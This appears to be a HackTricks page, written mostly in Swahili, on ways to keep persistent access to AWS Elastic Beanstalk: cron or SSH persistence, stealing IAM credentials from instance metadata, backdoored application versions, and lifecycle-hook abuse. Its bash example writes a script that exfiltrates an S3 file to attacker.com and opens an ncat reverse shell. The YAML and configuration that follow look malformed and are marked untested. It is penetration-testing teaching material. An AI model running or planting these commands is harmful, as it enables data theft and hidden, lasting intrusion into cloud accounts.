# AWS - Elastic Beanstalk Persistence {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} ### Persistence in Instance Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, funguo za ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka huduma ya metadata**. ### Backdoor in Version Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye kazi yake ya backdoor na msimbo unaotarajiwa. ### New backdoored version Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka toleo jipya lililo na backdoor la programu. ### Abusing Custom Resource Lifecycle Hooks > [!NOTE] > TODO: Test Elastic Beanstalk inatoa hooks za mzunguko wa maisha ambazo zinakuwezesha kuendesha skripti za kawaida wakati wa upatikanaji na kumaliza instance. Mshambuliaji anaweza **kuweka hook ya mzunguko wa maisha ili mara kwa mara kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh # Attacker uploads the script to an S3 bucket aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: AWSEBAutoScalingGroup: Metadata: AWS::ElasticBeanstalk::Ext: TriggerConfiguration: triggers: - name: stealthy-lifecycle-hook events: - "autoscaling:EC2_INSTANCE_LAUNCH" - "autoscaling:EC2_INSTANCE_TERMINATE" target: ref: "AWS::ElasticBeanstalk::Environment" arn: Fn::GetAtt: - "AWS::ElasticBeanstalk::Environment" - "Arn" stealthyLifecycleHook: Type: AWS::AutoScaling::LifecycleHook Properties: AutoScalingGroupName: Ref: AWSEBAutoScalingGroup LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING NotificationTargetARN: Ref: stealthy-lifecycle-hook RoleARN: Fn::GetAtt: - AWSEBAutoScalingGroup - Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` {{#include ../../../banners/hacktricks-training.md}}